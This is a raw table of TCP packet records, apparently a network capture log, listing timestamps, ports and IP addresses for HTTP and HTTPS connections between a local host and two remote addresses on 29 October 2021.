Oct 29, 2021 15:30:18.588980913 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.641091108 CEST	80	49799	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.644782066 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.644815922 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.644823074 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.696880102 CEST	80	49799	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.729482889 CEST	80	49799	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.730499983 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.731566906 CEST	49799	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.772046089 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.783597946 CEST	80	49799	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.825618029 CEST	80	49800	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.828629971 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.828669071 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.828845024 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.882322073 CEST	80	49800	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.904433012 CEST	80	49800	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.904604912 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.939364910 CEST	49800	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.992882013 CEST	80	49800	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.995908022 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.048008919 CEST	80	49802	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.048219919 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.048322916 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.048326969 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.131232977 CEST	80	49802	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.131572008 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.131603003 CEST	49802	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.168072939 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.183557034 CEST	80	49802	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.220297098 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.220671892 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.220705032 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.220711946 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.246948957 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:19.246999979 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:19.247189045 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:19.273016930 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.301958084 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.302040100 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.302092075 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.302145004 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.302201986 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.302215099 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.302257061 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.302308083 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.302345991 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.302351952 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.302357912 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.302427053 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.302475929 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.302794933 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.304656982 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.354732990 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:19.354783058 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:19.355228901 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355264902 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355289936 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355314970 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355338097 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355364084 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355389118 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355397940 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.355413914 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355432987 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355453014 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355463028 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.355473042 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.355478048 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355484962 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.355501890 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355524063 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355546951 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355570078 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355585098 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.355592966 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.355595112 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355597973 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.355619907 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355643988 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.355659008 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.356498957 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.356784105 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.356810093 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.356901884 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.394843102 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:19.394968987 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:19.397916079 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:19.397947073 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:19.398283005 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:19.408067942 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408104897 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408134937 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408164024 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408227921 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.408262968 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.408418894 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408452034 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408482075 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408513069 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408543110 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408554077 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.408560991 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.408572912 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408602953 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408631086 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408660889 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408670902 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.408675909 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.408689976 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408741951 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408791065 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408819914 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.408822060 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408824921 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.408885956 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408916950 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408946037 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.408974886 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409003973 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409020901 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409034014 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409044027 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409048080 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409064054 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409095049 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409125090 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409152985 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409164906 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409174919 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409183979 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409214020 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409244061 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409271955 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409288883 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409297943 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409302950 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409332037 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409362078 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409375906 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409390926 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409423113 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409454107 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409468889 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409473896 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409482956 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409512043 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409539938 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.409650087 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.409681082 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.460899115 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.460932970 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.460952044 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.460972071 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461082935 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461103916 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461146116 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461168051 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461186886 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.461250067 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.461256981 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.461283922 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461342096 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461389065 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461411953 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461432934 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461453915 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461467981 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.461476088 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461478949 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.461496115 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461508989 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.461551905 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.461846113 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461869955 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461884975 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461903095 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461918116 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461937904 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461947918 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.461960077 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461961031 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.461980104 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.461998940 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462014914 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462033987 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462045908 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462054968 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462054968 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462075949 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462095976 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462102890 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462111950 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462121010 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462136030 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462173939 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462184906 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462193012 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462193966 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462212086 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462232113 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462279081 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462281942 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462285042 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462305069 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462419987 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462419987 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462443113 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462536097 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462543011 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462563992 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462584019 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462604046 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462621927 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462639093 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462656975 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462658882 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462662935 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462673903 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.462752104 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.462769985 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.513920069 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.513959885 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.513979912 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:19.514086008 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.514107943 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.515417099 CEST	49803	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:19.541404009 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:19.567579985 CEST	80	49803	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:20.188572884 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.228871107 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231003046 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231178999 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231220007 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231250048 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.231278896 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231321096 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231336117 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.231352091 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231415033 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231435061 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.231441021 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231467009 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231549025 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231570005 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.231575012 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231606007 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231633902 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.231666088 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231702089 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231702089 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.231714964 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231779099 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231800079 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.231812954 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231836081 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.231847048 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231899023 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231928110 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231954098 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231961012 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.231977940 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.231995106 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232017994 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232037067 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232053041 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232064009 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232079983 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232125044 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232151985 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232161045 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232177019 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232245922 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232261896 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232265949 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232278109 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232302904 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232328892 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232332945 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232346058 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232387066 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232404947 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232423067 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232465029 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232486963 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232503891 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232546091 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232569933 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232580900 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232594013 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232624054 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232680082 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.232742071 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.232757092 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.248739958 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.248811960 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.248855114 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.248864889 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.248882055 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.248903990 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.248929024 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.248974085 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.248975039 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.248991966 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249062061 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249123096 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249144077 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249157906 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249196053 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249202013 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249248028 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249257088 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249291897 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249293089 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249381065 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249423981 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249438047 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249469995 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249552965 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249598026 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249643087 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249661922 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249675035 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249736071 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249799967 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249814034 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249851942 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249860048 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249867916 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249881029 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.249923944 CEST	49805	443	192.168.2.7	162.159.133.233
Oct 29, 2021 15:30:20.249943972 CEST	443	49805	162.159.133.233	192.168.2.7
Oct 29, 2021 15:30:20.250000954 CEST	49805	443	192.168.2.7	162.159.133.233
